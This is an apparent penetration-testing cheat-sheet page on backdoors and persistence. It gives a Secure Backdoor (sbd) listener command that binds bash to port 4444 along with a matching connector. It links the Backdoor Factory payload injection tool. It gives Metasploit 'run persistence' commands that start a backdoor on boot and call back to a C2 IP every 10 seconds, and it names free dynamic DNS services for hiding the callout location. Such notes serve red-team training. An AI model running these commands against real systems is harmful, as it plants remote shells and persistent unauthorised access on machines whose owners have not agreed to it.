> For the complete documentation index, see [llms.txt](https://www.hackbook.io/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.hackbook.io/persistence/backdoors.md).

# Backdoors

Other than the use of typical shells like those found in "Initial Access"\
\
\
**Secure Backdoor**\
This is a Ncat clone that works with unix and win32. Can also use encryption and whitelists\
\
Listener\
`#sbd -l -p 4444 -e bash -v -n`\
\
Connector\
`#sbd 192.168.1.202 4444`\
\
\
\
\
**Backdoor Factory:**\
Payload injection tool\
<https://github.com/secretsquirrel/the-backdoor-factory>\
\
\
**MSF:**\
Steps:\
1\) Upload back door\
2\) Have it reach out in some fixed interval\
3\) Add to boot programs (win reg, services, schedules, init.d, rc.local)\
\
Via MSF(win):\
meterpreter> `run persistence -h`\ <mark style="color:yellow;">-A</mark> Auto start multi/handler\ <mark style="color:yellow;">-X</mark> Auto start backdoor on boot\ <mark style="color:yellow;">-i</mark> interval to retry egress shell(seconds)\ <mark style="color:yellow;">-p</mark> port to reach out to\ <mark style="color:yellow;">-r</mark> IP of c2 server\
meterpreter> `run persistence -A -X -i 10 -p 8080 -r 192.168.13.12`\
//once we have this all we need to do to reconnect is start the handler and wait 10 seconds.\
\
**Free DNS services for backdoors:**\
We use these rather than IPs so we can be dynamic with our call out location.\
<https://www.zoneedit.com/dynamic-dns/>\
<https://freedns.afraid.org/>\
<http://xname.org/>\
\ <br>


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